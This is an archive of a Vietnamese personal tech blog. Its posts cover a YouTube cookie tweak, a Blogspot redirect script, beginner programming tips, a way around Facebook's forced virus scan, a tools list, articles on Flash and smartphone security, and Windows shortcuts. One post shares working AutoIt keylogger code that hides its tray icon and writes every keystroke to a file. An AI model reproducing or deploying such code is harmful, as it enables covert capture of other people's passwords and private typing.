Chủ Nhật, 25 tháng 6, 2017

Kích hoạt trình phát video trong suốt mới của Youtube


Google hiện đang thử nghiệm một trình phát trong suốt mới trên Youtube. Nếu bạn muốn kích hoạt nó, bạn có thể làm bằng cách chỉnh sửa cookie đơn giản.

Trình phát trong suốt mới chủ yếu là một bản nâng cấp để bổ sung một tính năng mà hầu hết các trình phát khác đã có từ lâu, đó là nó sẽ tự động ẩn khi video đang phát và tự động xuất hiện lại khi bạn di chuyển con trỏ qua cửa sổ. Nếu bạn muốn xem thử nó, bạn chỉ cần chỉnh sửa một cookie duy nhất. Người dùng Chrome sẽ cần một phần mở rộng như Edit This Cookie.

Hướng dẫn kích hoạt
Sau khi cài đặt phần mở rộng trên, bạn truy cập vào Youtube, nhấn vào biểu tượng của Edit This Cookie như trong hình.

Tìm và sửa đổi Cookie trên trình duyệt Chrome với Edit This Cookie

Sau đó, tìm Cookie có tên sau:
VISITOR_INFO1_LIVE

Thay đổi giá trị của nó thành:
Q06SngRDTGA

Đối với Firefox, các bạn cũng làm tương tự. Sử dụng add-on sau để sửa đổi Cookie:

Chặn Blogspot chuyển hướng sang tên miền quốc gia


Google có một danh sách các tên miền theo từng quốc gia, ví dụ như khi bạn vào Google.com từ:
Việt Nam sẽ thấy chuyển sang Google.com.vn
Nhật Bản sẽ thấy chuyển sang Google.co.jp

...
Tương tự với Blogger (Blogspot), người dùng từ các quốc gia khác nhau sẽ thấy bị chuyển sang các tên miền khác nhau. Tuy nhiên, gần đây một số độc giả ở nước ngoài báo lỗi với tôi rằng truy cập vào Juno_okyo's Blog thì thấy tình trạng trang bị refresh (tải lại) liên tục, khiến không thể đọc được bài viết. Để khắc phục vấn đề này, các bạn hãy thêm /ncr (no country redirect) vào cuối tên miền blog để ngăn chặn chuyển hướng đến phiên bản blog địa phương.

URL ban đầu: http://m-bomkhung.blogspot.com/
URL sửa đổi: http://m-bomkhung.blogspot.com/ncr 

Hướng dẫn này được cung cấp bởi Google tại đây.
Code chặn blogspot chuyển hướng tự động
Ngoài ra, tôi xin chia sẻ với các bạn một đoạn mã JavaScript của tác giả Amit Agarwal tự động xử lý vấn đề này.

<script>//<![CDATA[
var blogUrl=window.top.location.href.toLowerCase();blogUrl.indexOf(".blogspot.com")===-1&&(blogUrl=blogUrl.replace(/\.blogspot\..*?\//,".blogspot.com/ncr/"),window.top.location.replace(blogUrl));
//]]></script>

Vào sửa mã HTML của template và thêm đoạn mã trên vào trước thẻ </head> là OK.

27 điều mà bạn muốn biết khi bắt đầu học lập trình


1. Học bằng cách thực hành

Cách duy nhất để tiến bộ trong lập trình là bạn thực sự bắt đầu viết ra các chương trình.

2. Lập trình không giống như việc học để làm bài kiểm tra

Việc ghi nhớ tất cả mọi thứ không quan trọng lắm.

3. Gian lận là hoàn toàn chấp nhận được

Tôi sử dụng Google để giải quyết hầu hết các vấn đề, cũng giống như mọi lập trình viên khác.

4. Để các vấn đề chồng chất lên nhau mà không kiểm tra là một chiến lược xấu

Tôi đã từng tạo ra những thay đổi trong những dòng code của mình và mong đợi chúng hoạt động ngay. Vấn đề với phương pháp tiếp cận này là nó xếp chồng một vấn đề này lên một vấn đề khác, và khó có thể tìm được vấn đề gì đã xảy ra.

5. Tự học là một việc thực sự khó khăn

Nói chuyện về code và cộng tác với các nhà phát triển chung chí hướng khác là một cách tốt hơn để học hỏi đối với hầu hết mọi người.

6. Hãy buông xuôi cảm xúc của bạn

Bạn sẽ nhìn thấy các thông báo lỗi trên hành trình trở thành một lập trình viên. Vì nó trở thành một phần không thể thiếu trong lập trình, bạn cần phải chấp nhận những sai lầm để tiến bộ.

7. Bạn không cần tới 5 màn hình

Trái ngược lại với những gì mà bạn thấy trên phim của Hollywood, bạn không cần phải cài đặt nhiều màn hình để làm một lập trình viên. Chiếc máy tính mà bạn đang sở hữu có lẽ là đủ tốt để sử dụng và bắt đầu lập trình. Đừng phí tiền của bạn!

8. Có một sự khác biệt LỚN giữa một chữ hoa và một chữ thường

Phải mất một thời gian để quen với việc nhận ra sự khác biệt nhỏ giữa các biểu tượng giống nhau và có thể khá bực bội cho tới khi bạn quen với nó.

9. Cố gắng hiểu mọi thứ là một nguyên nhân gây thất bại

Khi mới bắt đầu, tôi đã cố gắng trả lời câu hỏi "tại sao" cho mọi vấn đề mà tôi gặp phải. Điều này là không cần thiết. Máy tính rất phức tạp và có quá nhiều thứ để học và bạn sẽ không bao giờ hiểu được mọi thứ. Điều đó không sao cả.

10. Lập trình theo cặp càng nhiều càng tốt

Không có cách nào nhanh hơn để học cách code.

11. Thay đổi code xấu là một phần quy trình

Tôi đã từng nghĩ rằng mọi đoạn code tôi viết đều cần phải hoàn hảo. Nhưng việc cải thiện code của bạn là chuyện bình thường. Bạn không viết một cuốn sách mà không cần hiệu chỉnh trước khi nó được xuất bản.

12. Có một cách đúng đắn để yêu cầu sự trợ giúp

Ai cũng cần phải yêu cầu trợ giúp tại một số thời điểm. Và khi bạn cần sự trợ giúp, hãy chắc rằng bạn thực hiện được 4 điều sau:

Diễn giải chi tiết những gì bạn thấy.
Giải thích chính xác những gì bạn nghĩ nó sẽ xảy ra.
Giải thích chính xác những gì đang xảy ra.
Giải thích lý do tại sao bạn nghĩ nó nên hoạt động khác nhau.

Khi bạn trải qua quá trình này, bạn thường sẽ tìm ra một giải pháp mà chưa cần tới việc yêu cầu trợ giúp từ người khác. Điều này giúp bạn suy nghĩ về các vấn đề một cách toàn diện.

13. Bạn không cần phải là một thiên tài toán học

Nếu bạn không phải là "dân toán học", điều đó không có nghĩa là bạn không thể trở thành một lập trình viên.

14. Luôn luôn ăn mừng những thành công nhỏ

Xây dựng các công cụ với code là thực sự tuyệt vời. Tôi không bao giờ có thể tới được hiện tại nếu như tôi đã không lùi lại và ngưỡng mộ những điều tuyệt vời mà tôi tạo ra trên quãng đường mình trải qua.

15. Các cuộc gặp gỡ, trò chuyện rất có giá trị

Lúc đầu, thật là đáng sợ để bản thân tôi có thể cảm thấy thoải mái khi tham dự các cuộc gặp gỡ. Nhưng một khi đã làm được điều đó, tôi nhận ra rằng có rất nhiều nhà phát triển khác giống như tôi.

16. Tránh các xung đột hợp nhất (merge) làm bạn hạnh phúc hơn

Các xung đột merge khá là phiền phức. (Đoạn sau đọc ngang quá nên mình không dịch)

17. Thừa nhận những gì bạn không biết là không sao cả

Khi bạn bắt đầu công việc lập trình đầu tiên của mình, bạn có thể có xu hướng "giả vờ biết cho tới khi bạn làm được nó". Đừng! Không ai mong bạn phải biết ngay mọi thứ.

18. Không mất tới 10,000 giờ để trở nên đủ tốt để có một công việc

Trong thực tế, bạn cần phải đủ giỏi để biết tự sửa chữa và trở lại đường đua khi các vấn đề nảy sinh. Việc này tốn ít thời gian hơn 10.000 giờ.

19. Bạn sẽ thức dậy vào buổi sáng và nghĩ về code

Và khi điều đó xảy ra, nó thực sự rất tuyệt cmn vời.

20. Tạo ra những sai lầm lớn là chuyện bình thường

Tôi đã từng phạm phải một sai lầm khiến công ty của tôi phải tốn $10.000. Nhờ vụ đó mà tôi đã học được bài học quan trọng nhất trong sự nghiệp lập trình của mình.

21. Một thuật toán cũng giống như việc tìm một tên trong danh bạ

Các thuật toán là một cách tiếp cận từng bước nơi có chính xác một bước tiếp theo. Một cách dễ dàng hơn để suy nghĩ về việc này là chiến lược mà bạn cần làm để tìm một tên cụ thể trong danh bạ.

22. Bạn sẽ không bao giờ cảm thấy bạn đã sẵn sàng để lập trình toàn thời gian

Hội chứng Imposter là có thật. Cố gắng nhớ rằng việc không biết mọi thứ là bình thường. Điều quan trọng nhất là hiểu được rằng bạn có thể tìm ra những thứ mà bạn không biết.

23. Các lập trình viên không bao giờ ngừng học tập

Các công nghệ mới xuất hiện mọi lúc, vì vậy các lập trình viên thành công là những người tiếp tục học hỏi và phát triển nghề nghiệp của họ.

24. Làm cho máy tính suy nghĩ giống như một con người

Quá nhiều người có ấn tượng rằng bạn cần phải suy nghĩ giống như một cái máy tính. Thực ra là ngược lại.

25. Lập trình là việc sử dụng đúng công cụ cho công việc

Có rất nhiều thư viện, công cụ và framework mã nguồn mở khác nhau tùy theo ý bạn. Vì vậy, bạn cần phát triển bộ công cụ lập trình của bạn và hiểu công cụ nào cần thiết cho mỗi vấn đề mà bạn gặp phải.

26. Mọi người thường bỏ cuộc ngay trước khi sự thay đổi sắp xảy ra


Học code (đặc biệt là đến mức mà bạn có thể chuyển đổi nghề nghiệp) là rất nhiều việc cần làm. Phải mất thời gian và rất nhiều kỉ luật, nhưng nó hoàn toàn có thể. Có quá nhiều người mắc phải sai lầm trong việc làm gần như đủ để đạt được điều họ muốn.

27. Học code không hề đơn giản

Nhưng đó là lý do tại sao nó đáng để học.

Sau này, tôi thực sự rất hạnh phúc rằng tôi đã quá ngây thơ khi bắt đầu. Kiến thức ít ỏi sau đó đã cho tôi động lực để suy nghĩ nghiêm túc về mọi thứ mà tôi đã học được sau này.

Bây giờ tôi dành thời gian để giúp người khác đạt được mục tiêu họ mong muốn thông qua code. Còn điều gì có thể tốt hơn thế?

Hướng dẫn xử lý nhanh khi bị Facebook bắt quét virus

Mấy tuần nay tự dưng tớ bị Facebook bắt quét virus liên tục. Trong nhóm J2TEAM Community cũng thấy có mấy bạn đăng bài hỏi. Gặp nhiều nên có kinh nghiệm, bài này tớ đăng lên để chia sẻ mẹo mà tớ thường làm để có thể xử lý nhanh khi gặp vụ này.

Với hướng dẫn trong bài viết này, thay vì phải chờ đợi lâu thì bạn có thể đăng nhập trở lại Facebook trong vòng một phút. Hi vọng sẽ giúp được nhiều bạn!

Làm gì khi bị Facebook bắt quét virus?

Khi đang dùng Facebook mà bỗng dưng bị đăng xuất, đăng nhập lại thì thấy cái thông báo như thế này:


Các bạn nhấn vào Continue, Facebook sẽ yêu cầu tải một scanner của hãng AV nào đó trong danh sách sau:

  • Kaspersky
  • ESET
  • TrendMicro
  • F-Secure

Đây là những đối tác của Facebook nhé! Trong trường hợp của mình thì là ESET.


Các bạn nhấn nút Download. Sau khi tải xong thì mở file đó lên, lúc này bạn sẽ không thấy có chương trình nào hiện lên cả vì nó chạy ngầm. Sử dụng các công cụ quản lý tiến trình (như Process Explorer) sẽ thấy.

Lưu ý, tới đây là đoạn quan trọng nhất của bài viết. Thông thường thì nhiều bạn sẽ phải chờ cho tới khi cái scanner kia chạy xong mới có thể đăng nhập trở lại Facebook, mà thời gian nó quét thì khá là lâu (có khi lên tới vài tiếng đồng hồ).

Dù bạn có mở Facebook bao nhiêu lần thì nó cũng sẽ chuyển hướng bạn tới cái bước 2 ở trên để tải scanner. Thay vào đó, hãy mở trang nào đó không phải trang chủ Facebook, ví dụ mình hay vào Settings. Facebook sẽ yêu cầu bạn đăng nhập để truy cập trang này. Khi đăng nhập vào thì nó sẽ hiện như này:


Nhấn vô Continue to Facebook, thế là bạn đã đăng nhập được vào Facebook mà không cần chờ scanner quét xong.

Nguồn : Junookyo Blog's

Thứ Bảy, 24 tháng 6, 2017

Giới thiệu những thứ hữu ích mà tớ đang dùng

Ý tưởng viết bài này là do mỗi ngày tớ vẫn hay nhận được mấy câu hỏi thông qua bình luận Youtube, trên J2TEAM Community và cả email nữa. Các câu hỏi đại loại như "bạn đang dùng editor gì vậy?", "giao diện nào mà đẹp thế?", "tool đó tên là gì hả bạn?",...

Editor & Plugin

Tớ đang sử dụng Sublime Text như là editor chính, đôi khi có sử dụng cả Notepad++. Cái theme tối tớ dùng cho Sublime mà các bạn hay hỏi mỗi khi tớ đăng video là Seti_UI.


Còn đây là những plugin mà tớ đang dùng cho Sublime:
  1. Alignment
  2. AutoFileName
  3. CSS Format
  4. CSS3
  5. Emmet
  6. HTML5
  7. JavaScript & Coffeescript Build Systems
  8. Package Control
  9. Seti_UI
  10. Sublimerge Pro

Tất cả những plugin này các bạn có thể cài đặt thông qua Package Control của Sublime nhé.

Trình duyệt & Extension

Tớ đang dùng Chrome làm trình duyệt chính và Firefox cho việc pentest, debug.

Trong một bài viết trước đây, tớ đã từng giới thiệu với các bạn những extension bảo mật mà tớ khuyên dùng. Dưới đây là một danh sách đầy đủ hơn (bao gồm cả extension không liên quan tới bảo mật):

  1. AccessURL
  2. Checker Plus for Gmail™
  3. Death Click
  4. Password Alert
  5. Empty New Tab Page
  6. Ghostery
  7. Google Translate
  8. Grammarly
  9. J2TeaM Security
  10. JSON Viewer
  11. Netcraft Extension
  12. OneTab
  13. Protect My Choices
  14. Stylish - Custom themes for any website
  15. Tampermonkey
  16. Data Saver
  17. uBlock Origin

Tất cả những extension trên có thể tìm và cài đặt thông qua Chrome Store.

Các phần mềm khác

Ngoài editor và trình duyệt, tớ còn dùng khá nhiều phần mềm khác để hỗ trợ công việc cũng như quản lý máy tính và nhiều mục đích khác.

Tên Mô tả
Amppsphần mềm tạo localhost do ông anh Killer giới thiệu và tớ khá là hài lòng về nó. Trước đó thì tớ dùng WAMP và XAMPP.
Camtasia Studiophần mềm quay và chỉnh sửa video. Tớ dùng nó để tạo ra các video tutorial mà các bạn xem trên Youtube.
Composertrình cài đặt và quản lý package cho PHP.
Everythingcông cụ giúp bạn có thể tìm kiếm mọi tập tin trong máy bạn với thời gian tính bằng... giây. Nhanh hơn rất nhiều so với trình tìm kiếm mặc định của Windows.
f.luxcông cụ giúp khử ánh sáng xanh trên màn hình vào ban đêm, giúp bảo vệ đôi mắt của bạn. Một phần mềm tuyệt vời cho dân cú đêm (dev) như tớ.
FileHippo App Managercông cụ quản lý ứng dụng, phần mềm, giúp bạn luôn giữ phần mềm trong máy được cập nhật đầy đủ. Là dân bảo mật thì việc giữ các phần mềm luôn ở phiên bản mới nhất là việc khá quan trọng.
FileSeekcông cụ tuyệt vời giúp tìm kiếm text trong các tập tin cực kỳ nhanh chóng. Rất hữu ích với các lập trình viên.
HeidiSQLcông cụ rất tốt để làm việc với Cơ sở dữ liệu.
Internet Download Manager (IDM)thằng này thì khỏi phải giới thiệu, hehe.
Kaspersky Internet Securitycái tên nói lên tất cả rồi.
OBS Studiocông cụ giúp bạn thực hiện các video live stream trên mạng xã hội (Facebook, Youtube,...).
Sandboxiephần mềm tạo môi trường ảo để bạn có thể chạy các phần mềm khác một cách an toàn, cực kỳ hữu ích với dân nghiên cứu & phân tích mã độc.
SnagITchụp và chỉnh sửa ảnh màn hình chuyên nghiệp, được tạo bởi cùng công ty tạo ra Camtasia Studio. Tớ vẫn thường dùng SnagIT để chụp ảnh cho các bài viết hướng dẫn trên Blog này.
TeamViewerkhỏi cần giới thiệu luôn.
Telegram Desktopđây là desktop client của Telegram, nền tảng chat bảo mật đang khá phổ biến. Bạn nào cũng dùng Telegram có thể liên hệ tớ qua @juno_okyo nhé! :P
Fiddlercông cụ debug cực kỳ hữu ích với dân lập trình web cũng như các nhà kiểm thử bảo mật.
TeraCopytăng tốc độ sao chép tập tin lên... nhiều lần so với mặc định của Windows.
Your Uninstallerquản lý, gỡ bỏ phần mềm một cách triệt để (không để lại các tập tin, dữ liệu tạm của phần mềm sau khi bị gỡ bỏ).

Ghen (Harvey Nelson Remix) - MIN-ERIK-Khắc Hưng


Đây là một bài mix nghe khá hay cho mọi người ^^. Bài này đang rất HOT nhé mọi người :), chúng ta cùng nghe nào :P



Và một số bản mix khác cho mọi người.







Simple Keylogger Function


Hôm nay mình xin chia sẽ cho mọi người 1 đoạn Code khá hay và đơn giản cho mọi người mới tập tành lập trình AutoIt như mình ^^
Bên dưới là đoạn code cho ai là dân lập trình AutoIt
#NotrayIcon
#include
;==============================
; AutoIt
; Autor : M3
; Simple KeyLoguer Function
;==============================

sGetKey()

Func sGetKey()

While 1

Local $sKey, $Result , $Log

For $sKey = 1 To 255

$Result = _WinAPI_GetAsyncKeyState($sKey)

If $Result = -32767 then

$Result = Chr($sKey)

$Log = FileOpen(@DesktopDir & "\Log.txt", 1)

FileWrite($Log, $Result)

FileClose($Log)

EndIf

Next

WEnd

Endfunc

Chúc các bạn thành công !

Hiểm hoạ từ ứng dụng Flash

Do tính thông dụng của Flash nên ứng dụng này thường trở thành mục tiêu tấn công của hacker. Các nền tảng máy tính thông dụng như Windows, Mac… đều có thể bị tấn công thông qua lỗ hổng bảo mật của ứng dụng Flash.
Nhằm vào Firefox!



Trình duyệt Firefox đã trở thành nạn nhân chủ yếu của những đợt tấn công vào ứng dụng Flash trong năm 2013. Hầu hết các cuộc tấn công được Adobe ghi nhận lại trong tháng 2/2013 đều nhằm vào Firefox.

Ngay trong tháng 2/2013, Adobe đã phải tung ra 3 bản vá bảo mật để “bịt lỗ hổng” của Flash Player. Ngay lập tức Microsoft và Google cũng đưa ra phiên bản mới của trình duyệt Internet Explorer và Chrome để cập nhật bản vá này.

Các lỗ hổng bảo mật này khi được nhúng vào Flash sẽ dẫn người dùng máy tính đến các trang web có chứa mã độc. Sau khi bị nhiễm mã độc, máy tính có thể dẫn đến tình trạng treo máy, bị chiếm quyền điều khiển, thay đổi cấu hình hệ thống…

Bản thân Mozilla cũng cảnh báo người dùng và đưa ra công cụ mới “Click-to-Play” cho trình duyệt Firefox. Những người dùng Firefox sẽ phải nhấn chuột để xác nhận các plug-in mà trang web cần đến. Nếu công cụ này chưa hoạt động, người dùng có thể tự kích hoạt nó trong mục cấu hình Firefox (about:config).



Dựa trên công cụ này, các plug-in thông dụng như Microsoft Silverlight, Java, Adobe Reader… sẽ bị Firefox chặn và yêu cầu cập nhật bản mới nhất. Nếu trình duyệt chưa được cập nhật, bạn sẽ không thể nghe nhạc hoặc xem video trực tuyến. Sau khi cập nhật phiên bản mới nhất thì trình duyệt sẽ hoạt động trở lại bình thường.

Hiện tại, phiên bản Adobe Flash 10.2 trở xuống đã bị chặn và liên tục yêu cầu cập nhật phiên bản mới. Tuy nhiên, đối với trình duyệt Firefox đã cập nhật phiên bản Adobe Flash sẽ không bị ảnh hưởng bởi công cụ này.

Vá khẩn cấp

Từ đầu năm 2013, Adobe và Microsoft phải tung ra bản vá khẩn cấp để ngăn ngừa các đợt tấn công của hacker nhằm vào lỗ hổng bảo mật của ứng dụng Flash Player. Đã xuất hiện hai lỗ hổng bảo mật của các phiên bản Flash Player trên các hệ điều hành Windows, Mac và Linux.


Trong khi đó, Apple lại quyết liệt hơn khi cập nhật bản vá chặn ứng dụng Flash trên trình duyệt Safari (dùng trên MacOS). Các trình duyệt trên máy Mac chưa được cài bản vá bảo mật về Flash sẽ bị chặn với thông điệp “Adobe Flash out of date”. Sau khi cập nhật bản vá chính thức từ Apple, máy Mac mới sử dụng Flash trở lại bình thường.

Đầu tháng 2/2013, Oracle cũng vừa tung ra bản vá bảo mật cho phiên bản Java 7. Bản vá này dành cho phiên bản Windows 32 bit và 64 bit lẫn các hệ điều hành MacOS và Linux.

Lỗ hổng này liên quan đến các plug-in (phần mềm hỗ trợ) trên các trình duyệt phổ biến như Internet Explorer, Firefox… Thông qua lỗ hổng của ứng dụng Java, các hacker có thể khởi động mã độc, điều khiển máy tính từ xa…

Microsoft cũng đề nghị người dùng cài đặt chế độ Local Intranet trên trình duyệt IE lên mức cao (High) nhằm chống lại hoạt động xâm nhập của hacker. Đồng thời, tải bộ công cụ Enhanced Mitigation Experience Toolkit (Microsoft) về máy tính nhằm ngăn chặn việc khai thác các lỗ hổng bảo mật.

Một số biện pháp phòng chống máy tính nhiễm mã độc
+ Tắt ứng dụng Flash và Java script trên phần mềm Acrobat.
+ Hạn chế mở các tập tin Excel và PDF (nếu có nghi vấn).
+ Cập nhật các bản vá mới nhất cho trình duyệt web.
+ Dùng một số công cụ quét lỗ hổng bảo mật để kiểm tra.
+ Mã hóa các dữ liệu quan trọng trên máy tính.
Lây nhiễm từ ứng dụng

Trong số các ứng dụng dễ bị tấn công trên môi trường Internet có Adobe Flash và Adobe Reader/Acrobat. Đặc biệt là ứng dụng Adobe Reader chưa kiểm soát và ngăn chặn được mã độc nhúng trong các tập tin PDF.

Một lỗ hổng zero-day đối với ứng dụng Adobe Reader/Acrobat cũng vừa được phát hiện trong tháng 2/2013. Các hãng bảo mật khuyên người dùng cẩn thận khi mở các tập tin PDF và nếu có thể thì nên đọc bản PDF ngay trên trình duyệt.

Lỗ hổng bảo mật trên các phần mềm Reader và Acrobat sẽ tạo điều kiện cho hacker tấn công và chiếm quyền điều khiển máy tính từ xa.
Các lỗ hổng bảo mật trên trình duyệt web cũng là một mục tiêu tấn công của tội phạm mạng. Trung tâm Ứng cứu khẩn cấp sự cố máy tính Việt Nam (VNCert) vẫn thường xuyên cảnh báo người dùng máy tính về lỗ hổng bảo mật trên trình duyệt.

Đã có một thời gian khá dài, hacker liên tục xâm nhập vào máy tính sử dụng trình duyệt phiên bản cũ Internet Explorer 6 – 8. Hiện tại, phiên bản Internet Explorer 10 trên Windows 8 có mức độ bảo mật cao hơn các phiên bản cũ.

Không những lơ là trong việc cập nhật các bản vá bảo mật mới, một số tổ chức/công ty còn sử dụng phần mềm không có bản quyền nên không thể cập nhật bản vá mới. Đây chính là những sơ hở “chết người” tạo điều kiện cho các cuộc tấn công trên mạng.

Gần đây, một số ứng dụng xem TV/phim hoặc nghe nhạc Online trên máy tính thường yêu cầu cài đặt thêm một số ứng dụng đính kèm. Theo các chuyên gia bảo mật thì người dùng cần cảnh giác trước yêu cầu này. Có khả năng, các ứng dụng này bị nhúng virus do thám (spyware) dùng để lây nhiễm mã độc, đánh cắp thông tin cá nhân…

Nguy cơ mất dữ liệu trên smartphone được cấu hình sẵn

Khảo sát của Công ty an ninh mạng Bkav cho thấy người dùng smartphone Việt Nam chưa quan tâm đúng mức việc bảo vệ dữ liệu và tài khoản trên smartphone.
Nhiều trường hợp mua, bán, cho mượn hoặc mượn smartphone nhưng vô tư giữ nguyên tài khoản được cấu hình sẵn trên máy. Điều này dẫn đến nguy cơ để lộ những thông tin quan trọng như ảnh chụp, tin nhắn, email, danh bạ…
Nguy cơ mất dữ liệu trên smartphone được cấu hình sẵn



Hầu hết các ứng dụng phổ biến trên smartphone đều cung cấp cơ chế đồng bộ dữ liệu giữa các thiết bị dùng chung tài khoản. Ví dụ với tính năng chat của Facebook, nội dung hội thoại sẽ được cập nhật đồng thời trên tất cả các thiết bị có cùng tài khoản. Do đó, nếu để người khác sử dụng smartphone cài sẵn tài khoản Facebook của mình, những gì bạn gõ sẽ bị người khác đọc được cùng một lúc.
Với các ứng dụng cho phép lưu trữ ảnh trực tuyến ngày càng phổ biến như Dropbox của iOS, ảnh chụp của người dùng sẽ được tự động tải lên máy chủ, sau đó tải về mọi thiết bị có chung tài khoản mà không cần hỏi. Tương tự như thế với Gmail và iCloud, nếu không chú ý bảo vệ tài khoản trên smartphone, người dùng có thể để lộ e-mail, danh bạ cùng nhiều dữ liệu nhạy cảm.
Ông Nguyễn Minh Đức, Phó chủ tịch phụ trách an ninh mạng Bkav, nhấn mạnh: "Công nghệ phát triển quá nhanh, ý thức của người dùng không theo kịp sự phát triển đó. Smartphone mà bạn sử dụng hàng ngày nên được coi là máy tính hơn là điện thoại và cần có những biện pháp bảo vệ tương xứng".


Các chuyên gia của Bkav khuyến cáo, khi bạn chuyển nhượng hoặc cho tặng smartphone, nhất thiết phải gỡ bỏ các tài khoản cài đặt trên máy, tốt nhất là sử dụng chức năng khôi phục cấu hình gốc của nhà sản xuất (Factory reset) trước khi chuyển giao thiết bị. Tương tự như vậy, khi nhận smartphone từ người khác, bạn cũng cần gỡ bỏ các tài khoản có sẵn để tránh vô tình tải thông tin của mình lên các tài khoản đó.

Keyboard Shorcuts (Microsoft Windows)


Keyboard Shorcuts (Microsoft Window)
  1. CTRL+C (Copy)
  2. CTRL+X (Cut)
  3. CTRL+V (Paste)
  4. CTRL+Z (Undo)
  5. DELETE (Delete)
  6. SHIFT+DELETE (Delete the selected item permanently without placing the item in the Recycle Bin)
  7. CTRL while dragging an item (Copy the selected item)
  8. CTRL+SHIFT while dragging an item (Create a shortcut to the selected item)
  9. F2 key (Rename the selected item)
  10. CTRL+RIGHT ARROW (Move the insertion point to the beginning of the next word)
  11. CTRL+LEFT ARROW (Move the insertion point to the beginning of the previous word)
  12. CTRL+DOWN ARROW (Move the insertion point to the beginning of the next paragraph)
  13. CTRL+UP ARROW (Move the insertion point to the beginning of the previous paragraph)
  14. CTRL+SHIFT with any of the arrow keys (Highlight a block of text) SHIFT with any of the arrow keys (Select more than one item in a window or on the desktop, or select text in a document)
  15. CTRL+A (Select all)
  16. F3 key (Search for a file or a folder)
  17. ALT+ENTER (View the properties for the selected item)
  18. ALT+F4 (Close the active item, or quit the active program)
  19. ALT+ENTER (Display the properties of the selected object)
  20. ALT+SPACEBAR (Open the shortcut menu for the active window)
  21. CTRL+F4 (Close the active document in programs that enable you to have multiple documents opensimultaneou sly)
  22. ALT+TAB (Switch between the open items)
  23. ALT+ESC (Cycle through items in the order that they had been opened)
  24. F6 key (Cycle through the screen elements in a window or on the desktop)
  25. F4 key (Display the Address bar list in My Computer or Windows Explorer)
  26. SHIFT+F10 (Display the shortcut menu for the selected item) 27. ALT+SPACEBAR (Display the System menu for the active window)
  27. CTRL+ESC (Display the Start menu)
  28. ALT+Underlined letter in a menu name (Display the corresponding menu) Underlined letter in a command name on an open menu (Perform the corresponding command)
  29. F10 key (Activate the menu bar in the active program)
  30. RIGHT ARROW (Open the next menu to the right, or open a submenu)
  31. LEFT ARROW (Open the next menu to the left, or close a submenu)
  32. F5 key (Update the active window)
  33. BACKSPACE (View the folder onelevel up in My Computer or Windows Explorer)
  34. ESC (Cancel the current task)
  35. SHIFT when you insert a CD- ROMinto the CD-ROM drive (Prevent the CD-ROM from automatically playing)

Dialog Box - Keyboard Shortcuts
  1. CTRL+TAB (Move forward through the tabs)
  2. CTRL+SHIFT+TAB (Move backward through the tabs)
  3. TAB (Move forward through the options)
  4. SHIFT+TAB (Move backward through the options)
  5. ALT+Underlined letter (Perform the corresponding command or select the corresponding option)
  6. ENTER (Perform the command for the active option or button)
  7. SPACEBAR (Select or clear the check box if the active option is a check box)
  8. ARROW KEYS (Select a button if the active option is a group of option buttons)
  9. F1 key (Display Help)
  10. F4 key (Display the items in the active list)
  11. BACKSPACE (Open a folder one level up if a folder is selected in the Save As or Open dialog box)

Microsoft Natural Keyboard Shortcuts
  1. Windows Logo (Display or hide the Start menu)
  2. Windows Logo+BREAK (Display the System Properties dialog box)
  3. Windows Logo+D (Display the desktop)
  4. Windows Logo+M (Minimize all of the windows)
  5. Windows Logo+SHIFT+M (Restorethe minimized windows)
  6. Windows Logo+E (Open My Computer)
  7. Windows Logo+F (Search for a file or a folder)
  8. CTRL+Windows Logo+F (Search for computers)
  9. Windows Logo+F1 (Display Windows Help)
  10. Windows Logo+ L (Lock the keyboard)
  11. Windows Logo+R (Open the Run dialog box)
  12. Windows Logo+U (Open Utility Manager)
  13. Accessibility Keyboard Shortcuts
  14. Right SHIFT for eight seconds (Switch FilterKeys either on or off)
  15. Left ALT+left SHIFT+PRINT SCREEN (Switch High Contrast either on or off)
  16. Left ALT+left SHIFT+NUM LOCK (Switch the MouseKeys either on or off)
  17. SHIFT five times (Switch the StickyKeys either on or off)
  18. NUM LOCK for five seconds (Switch the ToggleKeys either on or off)
  19. Windows Logo +U (Open Utility Manager)
  20. Windows Explorer Keyboard Shortcuts
  21. END (Display the bottom of the active window)
  22. HOME (Display the top of the active window)
  23. NUM LOCK+Asterisk sign (*) (Display all of the subfolders that are under the selected folder)
  24. NUM LOCK+Plus sign (+) (Display the contents of the selected folder)

MMC COnsole Windows Shortcut keys
  1. SHIFT+F10 (Display the Action shortcut menu for the selected item)
  2. F1 key (Open the Help topic, if any, for the selected item)
  3. F5 key (Update the content of all console windows)
  4. CTRL+F10 (Maximize the active console window)
  5. CTRL+F5 (Restore the active console window)
  6. ALT+ENTER (Display the Properties dialog box, if any, for theselected item)
  7. F2 key (Rename the selected item)
  8. CTRL+F4 (Close the active console window. When a console has only one console window, this shortcut closes the console)

Remote Desktop Connection Navigation
  1. CTRL+ALT+END (Open the Microsoft Windows NT Security dialog box)
  2. ALT+PAGE UP (Switch between programs from left to right)
  3. ALT+PAGE DOWN (Switch between programs from right to left) 
  4. ALT+INSERT (Cycle through the programs in most recently used order)
  5. ALT+HOME (Display the Start menu)
  6. CTRL+ALT+BREAK (Switch the client computer between a window and a full screen)
  7. ALT+DELETE (Display the Windows menu)
  8. CTRL+ALT+Minus sign (-) (Place a snapshot of the active window in the client on the Terminal server clipboard and provide the same functionality as pressing PRINT SCREEN on a local computer.)
  9. CTRL+ALT+Plus sign (+) (Place asnapshot of the entire client window area on the Terminal server clipboardand provide the same functionality aspressing ALT+PRINT SCREEN on a local computer.)

Microsoft Internet Explorer Keyboard Shortcuts
  1. CTRL+B (Open the Organize Favorites dialog box)
  2. CTRL+E (Open the Search bar)
  3. CTRL+F (Start the Find utility)
  4. CTRL+H (Open the History bar)
  5. CTRL+I (Open the Favorites bar)
  6. CTRL+L (Open the Open dialog box)
  7. CTRL+N (Start another instance of the browser with the same Web address)
  8. CTRL+O (Open the Open dialog box,the same as CTRL+L)
  9. CTRL+P (Open the Print dialog box)
  10. CTRL+R (Update the current Web )

Thứ Năm, 15 tháng 6, 2017

Ở bên ấy bình yên ai nhé....


Đọc và ngẫm về những gì đã và đang xãy ra với tôi, một con người ngu ngơ trong cảm xúc... :(

Ở bên ấy bình yên ai nhé....
Hãy coi mọi chuyện như hạnh phúc thoáng qua...
Mong nụ cười nước mắt lẫn xót xa....
Quên đi nhé ....
Hãy xem như là kỷ niệm...
Không buồn, không giận và cũng không trách ...!
Giữa cuộc đời tôi sẽ trở lại là chính tôi thôi !


Chủ Nhật, 11 tháng 6, 2017

App Chương Trình CMD Cho Quán Nét

